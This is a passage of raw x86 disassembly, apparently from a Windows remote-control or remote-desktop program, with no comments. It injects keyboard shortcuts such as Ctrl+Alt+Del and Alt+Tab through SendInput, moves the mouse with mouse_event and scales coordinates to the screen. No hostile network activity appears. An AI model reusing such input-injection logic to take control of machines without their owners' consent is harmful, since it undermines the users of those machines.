mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov dword [ebp - 0x7bc], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d4db8.10
jmp dword [eax*4 + 0x4d66cc]
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
cmp byte [0x52ffe0], 1
jb case.0x4d4db8.10
cmp dword [0x5383b8], 0xb259
ja case.0x4d4db8.10
mov eax, dword [0x52fedc]
mov dword [0x52fee4], eax
mov eax, dword [0x52fee0]
mov dword [0x52fee8], eax
mov esi, 0x8000
lea eax, [ebx + 0x20]
mov dword [0x538520], eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jg 0x4d6c1c
je 0x4d6c77
cmp eax, 0xa4
jg 0x4d6c04
je 0x4d6c95
sub eax, 0x84
je 0x4d6c7c
sub eax, 0x1c
je 0x4d6c9f
dec eax
je 0x4d6c81
dec eax
je 0x4d6c86
jmp case.0x4d6c2a.515
sub eax, 0xa5
je 0x4d6c9a
sub eax, 2
je 0x4d6c8b
dec eax
je 0x4d6c90
jmp case.0x4d6c2a.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4d6c2a.515
jmp dword [eax*4 + 0x4d6c31]
or esi, 2
jmp case.0x4d6c2a.515
or esi, 4
jmp case.0x4d6c2a.515
or esi, 0x20
jmp case.0x4d6c2a.515
or esi, 0x40
jmp case.0x4d6c2a.515
or esi, 8
jmp case.0x4d6c2a.515
or esi, 0x10
jmp case.0x4d6c2a.515
or esi, 1
jmp case.0x4d6c2a.515
or esi, 1
jmp case.0x4d6c2a.515
or esi, 2
jmp case.0x4d6c2a.515
or esi, 4
jmp case.0x4d6c2a.515
or esi, 0x20
jmp case.0x4d6c2a.515
or esi, 0x40
jmp case.0x4d6c2a.515
or esi, 8
jmp case.0x4d6c2a.515
or esi, 0x10
jmp case.0x4d6c2a.515
or esi, 1
jmp case.0x4d6c2a.515
or esi, 0x800
mov eax, dword [0x538520]
mov edx, dword [0x5384cc]
add dword [eax], edx
mov eax, dword [0x538520]
mov edx, dword [0x5384d0]
add dword [eax + 4], edx
mov eax, dword [0x538520]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x530514]
sub edx, dword [0x53050c]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [0x538520]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x530518]
sub edx, dword [0x530510]
dec edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x4c], eax
cmp dword [0x52ffc0], 0x60
je 0x4d6d25
mov eax, edi
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x52ffc0]
mov edi, eax
cmp dword [0x52ffc4], 0x60
je 0x4d6d41
mov eax, dword [ebp - 0x4c]
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x52ffc4]
mov dword [ebp - 0x4c], eax
cmp dword [ebx + 0x10], 0x20a
jne 0x4d6d57
mov eax, dword [0x538520]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x44], eax
jmp 0x4d6d5c
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x53130c]
cmp dword [eax], 0
jne 0x4d6d6b
call fcn.004cbdd8
mov eax, dword [0x531230]
cmp dword [eax], 0
jne 0x4d6d7a
call fcn.004cd0f8
mov eax, dword [0x5313ec]
cmp dword [eax], 0
jne 0x4d6d89
call fcn.004cd854
mov eax, dword [0x53130c]
cmp dword [eax], 0
jle 0x4d6ebf
cmp dword [ebx + 0x10], 0x20a
je 0x4d6dba
mov eax, dword [0x538520]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x538520]
mov eax, dword [eax]
push eax
mov eax, dword [0x531204]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d6dfb
je case.0x4d6dd4.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4d4db8.10
jmp dword [eax*4 + 0x4d6ddb]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4d4db8.10
jmp dword [eax*4 + 0x4d6e10]
push 1
mov eax, dword [0x531698]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 2
mov eax, dword [0x531698]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x10
mov eax, dword [0x531698]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x20
mov eax, dword [0x531698]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 4
mov eax, dword [0x531698]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 8
mov eax, dword [0x531698]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x538520]
cmp dword [eax + 0x10], 0
jle 0x4d6eaf
push 1
mov eax, dword [0x5312e8]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 2
mov eax, dword [0x5312e8]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x531230]
cmp dword [eax], 0
jle 0x4d702a
cmp dword [ebx + 0x10], 0x20a
je 0x4d6f5b
mov eax, dword [0x52ffcc]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x53858c]
jne 0x4d6efe
mov eax, dword [0x52ffcc]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x538590]
je 0x4d6f39
mov eax, dword [0x52ffcc]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x53858c], eax
mov eax, dword [0x52ffcc]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x538590], eax
mov eax, dword [0x538590]
push eax
mov eax, dword [0x53858c]
push eax
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5314ec]
mov eax, dword [eax]
call eax
mov eax, dword [0x538520]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x538520]
mov eax, dword [eax]
push eax
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531540]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d6f7e
je 0x4d6f97
sub eax, 0xa1
je 0x4d6f97
dec eax
je 0x4d6fad
sub eax, 2
je 0x4d6fc3
dec eax
je 0x4d6fd9
jmp case.0x4d4db8.10
sub eax, 0x202
je 0x4d6fad
sub eax, 2
je 0x4d6fc3
dec eax
je 0x4d6fd9
sub eax, 5
je 0x4d6fef
jmp case.0x4d4db8.10
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x53161c]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531824]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x53117c]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5313b8]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x538520]
cmp dword [eax + 0x10], 0
jle 0x4d7012
push 1
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0xffffffffffffffff
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318ec]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x5313ec]
cmp dword [eax], 0
jle 0x4d70fa
cmp dword [ebx + 0x10], 0x20a
je 0x4d705b
mov eax, dword [0x538520]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x538520]
mov eax, dword [eax]
push eax
mov eax, dword [0x531694]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d707e
je 0x4d7097
sub eax, 0xa1
je 0x4d7097
dec eax
je 0x4d70a5
sub eax, 2
je 0x4d70b3
dec eax
je 0x4d70c1
jmp case.0x4d4db8.10
sub eax, 0x202
je 0x4d70a5
sub eax, 2
je 0x4d70b3
dec eax
je 0x4d70c1
sub eax, 5
je 0x4d70cf
jmp case.0x4d4db8.10
mov eax, dword [0x531788]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x5319c4]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x5312e4]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x531580]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x538520]
cmp dword [eax + 0x10], 0
jle 0x4d70ea
push 1
mov eax, dword [0x5310bc]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0xffffffffffffffff
mov eax, dword [0x5310bc]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
cmp dword [ebx + 0x10], 0x200
je 0x4d711a
push 0
push 0
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea eax, [edi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
cmp dword [ebx + 0x10], 0x20a
jne 0x4d713f
push 0
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
inc edi
push edi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4d4db8.10
xor eax, eax
mov dword [ebp - 0x7bc], eax
mov dword [ebp - 0x7ac], esi
inc edi
mov dword [ebp - 0x7b8], edi
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x7b4], eax
xor eax, eax
mov dword [ebp - 0x7b0], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d4db8.10
cmp dword [0x52ff14], 0x521044e
jb case.0x4d4db8.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x918]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x918]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x91c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x91c]
call fcn.004093d0
mov dword [0x538324], eax
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, dword [0x538324]
add eax, 0x5b
cmp eax, dword [0x5383b8]
jae 0x4d7232
push 0
push 0x3e8
mov eax, dword [0x52fedc]
mov edx, dword [0x52fee0]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d7232
cmp eax, 0
je case.0x4d4db8.10
mov ax, word [ebx + 0x1c]
and ax, 0xffff
mov word [0x53835c], ax
mov eax, dword [ebx + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov esi, dword [eax*4 + 0x53046c]
mov eax, dword [ebx + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x5383bc], al
mov eax, dword [ebx + 0x1c]
shr eax, 0x19
and al, 1
cmp al, 1
jne 0x4d7270
mov byte [0x52ff94], 0xff
mov byte [0x52ffe0], 0
xor eax, eax
mov dword [0x53858c], eax
jmp 0x4d728c
call fcn.004d42c4
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5315ac]
cmp dword [eax], 0
jg 0x4d7280
cmp byte [0x52ff28], 0
je 0x4d72d0
push 0
call sub.user32.dll_GetDC
mov edi, eax
test edi, edi
je 0x4d72d0
push 0x58
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc0], eax
push 0x5a
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc4], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4d72e4
mov dword [0x52ffc0], 0x60
mov dword [0x52ffc4], 0x60
cmp byte [ebx + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x52ffa8], al
cmp byte [0x52ffa8], 0
je 0x4d73a0
mov eax, dword [ebx + 0x10]
mov dword [0x53837c], eax
mov eax, dword [ebx + 0x14]
mov dword [0x538380], eax
mov eax, dword [ebx + 0x18]
shr eax, 0xc
and eax, 0xf
mov dword [0x52ffd8], eax
cmp dword [0x538388], 0
jle 0x4d7334
mov eax, dword [0x538388]
mov dword [0x52ffdc], eax
jmp 0x4d7347
mov eax, dword [ebx + 0x18]
shr eax, 8
and eax, 0xf
mov dword [0x52ffdc], eax
call fcn.004d0b00
mov al, byte [ebx + 0x18]
and al, 0xf
mov byte [0x538370], al
test esi, esi
jle 0x4d7366
mov eax, esi
call fcn.004d4334
shl eax, 2
mov dword [0x52ffd4], eax
jmp 0x4d7375
mov eax, esi
call fcn.004d4334
shl eax, 3
mov dword [0x52ffd4], eax
mov eax, dword [0x52ffd4]
test eax, eax
jns 0x4d7381
add eax, 3
sar eax, 2
call fcn.0040305c
mov edx, eax
neg eax
add eax, eax
mov dword [0x52ffbc], eax
mov byte [0x5383bc], 1
jmp 0x4d7442
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [0x52ffd8], eax
cmp dword [0x52ffd8], 2
jne 0x4d73d1
call fcn.0046d6a4
fcomp dword [0x4d9e5c]
fnstsw ax
sahf
jbe 0x4d73d1
mov dword [0x52ffd8], 3
cmp dword [0x538388], 0
jle 0x4d73e6
mov eax, dword [0x538388]
mov dword [0x52ffdc], eax
jmp 0x4d73f9
mov eax, dword [ebx + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x52ffdc], eax
call fcn.004d0b00
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x538370], al
cmp dword [0x5383b8], 0xb259
ja 0x4d741d
mov eax, esi
call fcn.004d4334
mov dword [0x52ffd4], eax
jmp 0x4d7427
mov dword [0x52ffd4], 0x3e8
mov dword [0x52ffbc], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x5304f0], eax
xor eax, eax
mov dword [0x53838c], eax
cmp byte [0x5383bc], 0
je 0x4d7454
cmp byte [0x5383bd], 0
je 0x4d7474
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004ae228
test al, al
je 0x4d7474
call fcn.004ae3d8
cmp dword [0x52ffdc], 3
je 0x4d7482
call fcn.004c9ee4
cmp dword [0x52ffdc], 4
je 0x4d7490
call fcn.004cb80c
cmp dword [0x5384f4], 3
jne 0x4d74cd
movsx eax, byte [0x52ff94]
mov edx, dword [0x52ffd4]
call fcn.004cac30
cmp dword [0x52ffdc], 5
je 0x4d74be
or eax, 0xffffffff
call fcn.004cab98
jmp 0x4d74f2
mov edx, 2
or eax, 0xffffffff
call fcn.004cabc4
jmp 0x4d74f2
cmp dword [0x52ffdc], 5
je 0x4d74dd
call fcn.004ca558
jmp 0x4d74f2
mov eax, dword [0x531714]
cmp dword [eax], 0xffffffd8
jge 0x4d74f2
mov eax, dword [0x531714]
mov dword [eax], 0xffffffd8
cmp byte [0x52ff98], 0
jne 0x4d76d7
mov dl, 1
mov eax, dword [0x422194]
call fcn.00428798
mov dword [0x538374], eax
mov dl, 7
mov eax, dword [0x538374]
call fcn.00429d10
mov dl, 1
mov eax, dword [0x422194]
call fcn.00428798
mov dword [0x538378], eax
mov dl, 7
mov eax, dword [0x538378]
call fcn.00429d10
cmp dword [0x52ffac], 0
jne 0x4d7553
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov dword [0x52ffac], eax
cmp dword [0x52ffb0], 0
jne 0x4d756d
mov dl, 1
mov eax, dword [0x46f82c]
call fcn.0046f9c4
mov dword [0x52ffb0], eax
cmp dword [0x52ffb4], 0
jne 0x4d7587
mov dl, 1
mov eax, dword [0x414d94]
call fcn.00403720
mov dword [0x52ffb4], eax
mov eax, dword [0x531a24]
cmp dword [eax], 0
jne 0x4d75a5
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov edx, dword [0x531a24]
mov dword [edx], eax
mov eax, dword [0x531414]
cmp dword [eax], 0
jne 0x4d75c3
mov dl, 1
mov eax, dword [0x46f82c]
call fcn.0046f9c4
mov edx, dword [0x531414]
mov dword [edx], eax
mov eax, dword [0x5310ec]
cmp dword [eax], 0
jne 0x4d75e1
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov edx, dword [0x5310ec]
mov dword [edx], eax
mov eax, dword [0x5314c0]
cmp dword [eax], 0
jne 0x4d75ff
mov dl, 1
mov eax, dword [0x46f82c]
call fcn.0046f9c4
mov edx, dword [0x5314c0]
mov dword [edx], eax
mov eax, dword [0x53148c]
cmp byte [eax], 0
jne 0x4d76b0
push 0
push 3
lea eax, [ebp - 0x920]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x920]
mov edx, 0x4d9e68
call fcn.0046be70
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
call fcn.004aaad8
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5314c8]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x924]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x924]
mov edx, 0x4d9e80
call fcn.0046be70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d76a8
dec dword [ebp - 0x48]
mov cl, 1
mov dl, 1
mov eax, dword [0x4ea9ac]
